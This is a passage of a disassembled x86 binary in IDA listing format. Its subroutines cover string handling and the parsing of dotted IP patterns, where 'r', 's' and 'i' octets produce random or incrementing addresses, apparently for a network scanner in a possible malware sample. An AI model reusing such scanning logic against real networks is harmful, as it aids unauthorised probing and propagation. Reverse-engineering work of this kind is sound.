= byte ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_4078FC ; --------------------------------------------------------------------------- loc_4078F5: ; CODE XREF: sub_4078E6:loc_407921j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4078FC: ; CODE XREF: sub_4078E6+Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407923 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_4] cmp eax, ecx jnz short loc_407921 mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407921: ; CODE XREF: sub_4078E6+32j jmp short loc_4078F5 ; --------------------------------------------------------------------------- loc_407923: ; CODE XREF: sub_4078E6+21j mov eax, [ebp+var_8] leave retn sub_4078E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407928 proc near ; CODE XREF: sub_40E618+2Bp ; sub_40E618+185p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_10], 0 jnz short loc_407963 mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_8] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_C] call sub_416B6A ; memset add esp, 0Ch xor eax, eax jmp locret_407A54 ; --------------------------------------------------------------------------- loc_407963: ; CODE XREF: sub_407928+Aj push [ebp+arg_0] push [ebp+arg_4] call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+arg_0] call sub_40813C add esp, 0Ch mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] mov [eax], ecx mov [ebp+var_8], 1 jmp short loc_4079A1 ; --------------------------------------------------------------------------- loc_40799A: ; CODE XREF: sub_407928:loc_407A4Cj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4079A1: ; CODE XREF: sub_407928+70j mov eax, [ebp+var_8] cmp eax, [ebp+arg_10] jge loc_407A51 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4-4], 0 jz short loc_407A0A lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov ecx, [ebp+var_8] mov edx, [ebp+arg_8] mov [edx+ecx*4], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4], 0 jz short loc_4079F8 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] mov eax, [ecx+eax*4] sub eax, [ebp+arg_0] mov ecx, [ebp+arg_4] add ecx, eax mov [ebp+var_C], ecx jmp short loc_4079FC ; --------------------------------------------------------------------------- loc_4079F8: ; CODE XREF: sub_407928+B8j and [ebp+var_C], 0 loc_4079FC: ; CODE XREF: sub_407928+CEj mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] mov [ecx+eax*4], edx jmp short loc_407A4C ; --------------------------------------------------------------------------- loc_407A0A: ; CODE XREF: sub_407928+90j mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] lea eax, [ecx+eax*4] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] lea eax, [ecx+eax*4] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_8] dec eax jmp short locret_407A54 ; --------------------------------------------------------------------------- loc_407A4C: ; CODE XREF: sub_407928+E0j jmp loc_40799A ; --------------------------------------------------------------------------- loc_407A51: ; CODE XREF: sub_407928+7Fj mov eax, [ebp+arg_10] locret_407A54: ; CODE XREF: sub_407928+36j ; sub_407928+122j leave retn sub_407928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A56 proc near ; CODE XREF: sub_401146+6Bp ; sub_401146+CAp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_407A81 cmp ecx, 1 jz short loc_407A7E loc_407A6E: ; CODE XREF: sub_407A56+26j mov al, [esi] mov [edi], al test al, al jz short loc_407A81 inc esi inc edi dec ecx cmp ecx, 1 jnz short loc_407A6E loc_407A7E: ; CODE XREF: sub_407A56+16j mov byte ptr [edi], 0 loc_407A81: ; CODE XREF: sub_407A56+11j ; sub_407A56+1Ej pop edi pop esi pop ebx pop ebp retn sub_407A56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A86 proc near ; CODE XREF: sub_4097A7+17p ; sub_4098F3+17p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407A97 ; --------------------------------------------------------------------------- loc_407A90: ; CODE XREF: sub_407A86+3Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407A97: ; CODE XREF: sub_407A86+8j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407AC6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_407AC2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 39h jg short loc_407AC2 jmp short loc_407A90 ; --------------------------------------------------------------------------- loc_407AC2: ; CODE XREF: sub_407A86+2Aj ; sub_407A86+38j xor al, al jmp short locret_407AC8 ; --------------------------------------------------------------------------- loc_407AC6: ; CODE XREF: sub_407A86+1Cj mov al, 1 locret_407AC8: ; CODE XREF: sub_407A86+3Ej leave retn sub_407A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407ACA proc near ; CODE XREF: sub_401000+F6p ; sub_4148CE+61p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_8] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax and [ebp+var_8], 0 and [ebp+var_C], 0 jmp short loc_407AED ; --------------------------------------------------------------------------- loc_407AE6: ; CODE XREF: sub_407ACA:loc_407B58j mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_407AED: ; CODE XREF: sub_407ACA+1Aj mov eax, [ebp+arg_4] sub eax, [ebp+var_4] cmp [ebp+var_C], eax jg short loc_407B5A mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] add ecx, 20h cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] sub ecx, 20h cmp eax, ecx jnz short loc_407B58 loc_407B37: ; CODE XREF: sub_407ACA+3Fj ; sub_407ACA+55j push [ebp+var_4] push [ebp+arg_8] mov eax, [ebp+arg_0] add eax, [ebp+var_C] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_407B58 mov eax, [ebp+arg_0] add eax, [ebp+var_C] jmp short locret_407B5C ; --------------------------------------------------------------------------- loc_407B58: ; CODE XREF: sub_407ACA+6Bj ; sub_407ACA+84j jmp short loc_407AE6 ; --------------------------------------------------------------------------- loc_407B5A: ; CODE XREF: sub_407ACA+2Cj xor eax, eax locret_407B5C: ; CODE XREF: sub_407ACA+8Cj leave retn sub_407ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407B5E proc near ; CODE XREF: sub_40A2D2+11Dp ; sub_40E943+20p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_407B70 ; --------------------------------------------------------------------------- loc_407B69: ; CODE XREF: sub_407B5E:loc_407BEEj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407B70: ; CODE XREF: sub_407B5E+9j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407B85 mov eax, [ebp+arg_0] add eax, [ebp+var_4] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407B85: ; CODE XREF: sub_407B5E+1Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_407BA1 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_407BEE loc_407BA1: ; CODE XREF: sub_407B5E+33j and [ebp+var_8], 0 jmp short loc_407BAE ; --------------------------------------------------------------------------- loc_407BA7: ; CODE XREF: sub_407B5E:loc_407BECj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407BAE: ; CODE XREF: sub_407B5E+47j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Dh jz short loc_407BD2 mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Ah jnz short loc_407BE1 loc_407BD2: ; CODE XREF: sub_407B5E+60j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] and byte ptr [ecx+eax], 0 jmp short loc_407BEC ; --------------------------------------------------------------------------- loc_407BE1: ; CODE XREF: sub_407B5E+72j mov eax, [ebp+arg_0] add eax, [ebp+var_4] add eax, [ebp+var_8] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407BEC: ; CODE XREF: sub_407B5E+81j jmp short loc_407BA7 ; --------------------------------------------------------------------------- loc_407BEE: ; CODE XREF: sub_407B5E+41j jmp loc_407B69 ; --------------------------------------------------------------------------- locret_407BF3: ; CODE XREF: sub_407B5E+25j ; sub_407B5E+8Cj leave retn sub_407B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BF5 proc near ; CODE XREF: sub_411A09+5Dp ; sub_411A09+F3p ... arg_0 = dword ptr 8 push ebp mov ebp, esp loc_407BF8: ; CODE XREF: sub_407BF5:loc_407C28j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_0] inc ecx mov [ebp+arg_0], ecx test eax, eax jz short loc_407C2A mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407C15 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C15: ; CODE XREF: sub_407BF5+1Cj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C28 mov eax, [ebp+arg_0] and byte ptr [eax], 0 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C28: ; CODE XREF: sub_407BF5+29j jmp short loc_407BF8 ; --------------------------------------------------------------------------- loc_407C2A: ; CODE XREF: sub_407BF5+12j ; sub_407BF5+1Ej ... pop ebp retn sub_407BF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407C2C proc near ; CODE XREF: sub_4083AD+2F2p ; sub_40CA29+91p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_C], eax and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_407C49 ; --------------------------------------------------------------------------- loc_407C42: ; CODE XREF: sub_407C2C+31j ; sub_407C2C:loc_407CCDj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407C49: ; CODE XREF: sub_407C2C+14j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C68 cmp [ebp+var_C], 0 jz short loc_407C5F jmp short loc_407C42 ; --------------------------------------------------------------------------- loc_407C5F: ; CODE XREF: sub_407C2C+2Fj mov [ebp+var_C], 1 jmp short loc_407C6C ; --------------------------------------------------------------------------- loc_407C68: ; CODE XREF: sub_407C2C+29j and [ebp+var_C], 0 loc_407C6C: ; CODE XREF: sub_407C2C+3Aj mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407CCD cmp [ebp+arg_8], 0 jz short loc_407CCB cmp [ebp+var_8], 0 jz short loc_407CCB loc_407C9C: ; CODE XREF: sub_407C2C:loc_407CC9j push 1 pop eax test eax, eax jz short loc_407CCB mov eax, [ebp+arg_0] add eax, [ebp+var_8] and byte ptr [eax], 0 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407CC7 cmp [ebp+var_8], 0 jnz short loc_407CC9 loc_407CC7: ; CODE XREF: sub_407C2C+93j jmp short loc_407CCB ; --------------------------------------------------------------------------- loc_407CC9: ; CODE XREF: sub_407C2C+99j jmp short loc_407C9C ; --------------------------------------------------------------------------- loc_407CCB: ; CODE XREF: sub_407C2C+68j ; sub_407C2C+6Ej ... jmp short locret_407CD2 ; --------------------------------------------------------------------------- loc_407CCD: ; CODE XREF: sub_407C2C+62j jmp loc_407C42 ; --------------------------------------------------------------------------- locret_407CD2: ; CODE XREF: sub_407C2C:loc_407CCBj leave retn sub_407C2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407CD4 proc near ; CODE XREF: sub_407D42+5Fp ; sub_407D42+79p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407CE5 ; --------------------------------------------------------------------------- loc_407CDE: ; CODE XREF: sub_407CD4+68j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407CE5: ; CODE XREF: sub_407CD4+8j cmp [ebp+var_4], 4 jge short loc_407D3E mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 2Eh jnz short loc_407D0E mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D0E: ; CODE XREF: sub_407CD4+23j mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407D2C mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+arg_4] add eax, [ebp+var_4] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D2C: ; CODE XREF: sub_407CD4+45j mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl jmp short loc_407CDE ; --------------------------------------------------------------------------- loc_407D3E: ; CODE XREF: sub_407CD4+15j xor eax, eax locret_407D40: ; CODE XREF: sub_407CD4+38j ; sub_407CD4+56j leave retn sub_407CD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D42 proc near ; CODE XREF: sub_407F3D+19p ; sub_407F3D+3Fp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx push 2Eh push [ebp+arg_0] call sub_4078E6 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 3 jle short loc_407D63 xor eax, eax jmp locret_407E0A ; --------------------------------------------------------------------------- loc_407D63: ; CODE XREF: sub_407D42+18j mov eax, [ebp+arg_10] and byte ptr [eax], 0 mov eax, [ebp+arg_C] and byte ptr [eax], 0 mov eax, [ebp+arg_8] and byte ptr [eax], 0 mov eax, [ebp+arg_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_407DE9 cmp [ebp+var_8], 1 jz short loc_407DCF cmp [ebp+var_8], 2 jz short loc_407DB5 cmp [ebp+var_8], 3 jz short loc_407D9B jmp short loc_407E08 ; --------------------------------------------------------------------------- loc_407D9B: ; CODE XREF: sub_407D42+55j push [ebp+arg_0] push [ebp+arg_4] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DB5 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DB5: ; CODE XREF: sub_407D42+4Fj ; sub_407D42+6Dj push [ebp+arg_0] push [ebp+arg_8] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DCF xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DCF: ; CODE XREF: sub_407D42+49j ; sub_407D42+87j push [ebp+arg_0] push [ebp+arg_C] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DE9 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DE9: ; CODE XREF: sub_407D42+43j ; sub_407D42+A1j push [ebp+arg_0] push [ebp+arg_10] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407E03 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E03: ; CODE XREF: sub_407D42+BBj push 1 pop eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E08: ; CODE XREF: sub_407D42+57j xor eax, eax locret_407E0A: ; CODE XREF: sub_407D42+1Cj ; sub_407D42+71j ... leave retn sub_407D42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E0C proc near ; CODE XREF: sub_407F3D+A3p ; sub_407F3D+C1p ... var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 72h jnz short loc_407E4A mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_407E4A push 0Ah push [ebp+arg_C] push 0FFh push 0 call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch mov eax, [ebp+arg_10] jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407E4A: ; CODE XREF: sub_407E0C+Dj ; sub_407E0C+18j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 73h jz short loc_407E64 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz loc_407EF9 loc_407E64: ; CODE XREF: sub_407E0C+47j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz loc_407EF9 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407EB3 cmp [ebp+arg_10], 0 jz short loc_407EB3 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx movzx eax, al inc eax mov [ebp+var_4], al push 0Ah push [ebp+arg_C] movzx eax, [ebp+var_4] push eax call sub_416F7A ; _itoa add esp, 0Ch movzx eax, [ebp+var_4] neg eax sbb eax, eax inc eax jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407EB3: ; CODE XREF: sub_407E0C+6Fj ; sub_407E0C+75j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407ECC push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407ECC: ; CODE XREF: sub_407E0C+AFj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz short loc_407EE8 push offset dword_418F50 push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407EE8: ; CODE XREF: sub_407E0C+C9j push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_407EF5: ; CODE XREF: sub_407E0C+BEj ; sub_407E0C+DAj xor eax, eax jmp short locret_407F3B ; --------------------------------------------------------------------------- loc_407EF9: ; CODE XREF: sub_407E0C+52j ; sub_407E0C+61j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F12 push [ebp+arg_4] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F12: ; CODE XREF: sub_407E0C+F5j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F2B push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F2B: ; CODE XREF: sub_407E0C+10Ej push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_407F38: ; CODE XREF: sub_407E0C+104j ; sub_407E0C+11Dj mov eax, [ebp+arg_10] locret_407F3B: ; CODE XREF: sub_407E0C+39j ; sub_407E0C+A2j ... leave retn sub_407E0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F3D proc near ; CODE XREF: sub_41349C+192p ; sub_41349C+3DAp var_44 = byte ptr -44h var_40 = byte ptr -40h var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 44h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_44] push eax lea eax, [ebp+var_3C] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F69 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F69: ; CODE XREF: sub_407F3D+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_40] push eax push [ebp+arg_4] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F8F xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F8F: ; CODE XREF: sub_407F3D+49j lea eax, [ebp+var_34] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_1C] push eax push offset dword_41EF48 call sub_407D42 add esp, 14h test eax, eax jnz short loc_407FB7 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FB7: ; CODE XREF: sub_407F3D+71j movsx eax, [ebp+var_14] test eax, eax jnz short loc_407FC6 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FC6: ; CODE XREF: sub_407F3D+80j mov [ebp+var_18], 1 push [ebp+var_18] lea eax, [ebp+var_38] push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_30] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_44] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_40] push eax lea eax, [ebp+var_3C] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_20] push eax push offset dword_418F54 push [ebp+arg_8] call sub_416B5E ; sprintf add esp, 18h push 1 pop eax locret_408068: ; CODE XREF: sub_407F3D+27j ; sub_407F3D+4Dj ... leave retn sub_407F3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40806A proc near ; CODE XREF: sub_41349C+12Ap var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_408096 xor eax, eax jmp locret_40813A ; --------------------------------------------------------------------------- loc_408096: ; CODE XREF: sub_40806A+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax push offset dword_41EF48 call sub_407D42 add esp, 14h test eax, eax jnz short loc_4080BB xor eax, eax jmp short locret_40813A ; --------------------------------------------------------------------------- loc_4080BB: ; CODE XREF: sub_40806A+4Bj movsx eax, [ebp+var_18] test eax, eax jnz short loc_4080D2 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_4080D2: ; CODE XREF: sub_40806A+57j movsx eax, [ebp+var_1C] test eax, eax jnz short loc_4080E9 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_1C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_4080E9: ; CODE XREF: sub_40806A+6Ej movsx eax, [ebp+var_20] test eax, eax jnz short loc_408100 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_20] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408100: ; CODE XREF: sub_40806A+85j movsx eax, [ebp+var_4] test eax, eax jnz short loc_408117 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408117: ; CODE XREF: sub_40806A+9Cj lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push offset dword_418F54 push [ebp+arg_0] call sub_416B5E ; sprintf add esp, 18h push 1 pop eax locret_40813A: ; CODE XREF: sub_40806A+27j ; sub_40806A+4Fj leave retn sub_40806A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40813C proc near ; CODE XREF: sub_407928+54p ; sub_407928+9Dp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jz short loc_408150 mov eax, [ebp+arg_8] mov ecx, [ebp+arg_0] mov [eax], ecx loc_408150: ; CODE XREF: sub_40813C+Aj mov eax, [ebp+arg_8] mov eax, [eax] mov [ebp+var_8], eax jmp short loc_408161 ; --------------------------------------------------------------------------- loc_40815A: ; CODE XREF: sub_40813C:loc_4081A0j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408161: ; CODE XREF: sub_40813C+1Cj mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081A2 mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_408171: ; CODE XREF: sub_40813C+56j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_408194 mov eax, [ebp+var_4] movsx eax, byte ptr [eax] mov ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_408194 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_408171 ; --------------------------------------------------------------------------- loc_408194: ; CODE XREF: sub_40813C+3Dj ; sub_40813C+4Dj mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081A0 jmp short loc_4081A2 ; --------------------------------------------------------------------------- loc_4081A0: ; CODE XREF: sub_40813C+60j jmp short loc_40815A ; --------------------------------------------------------------------------- loc_4081A2: ; CODE XREF: sub_40813C+2Dj ; 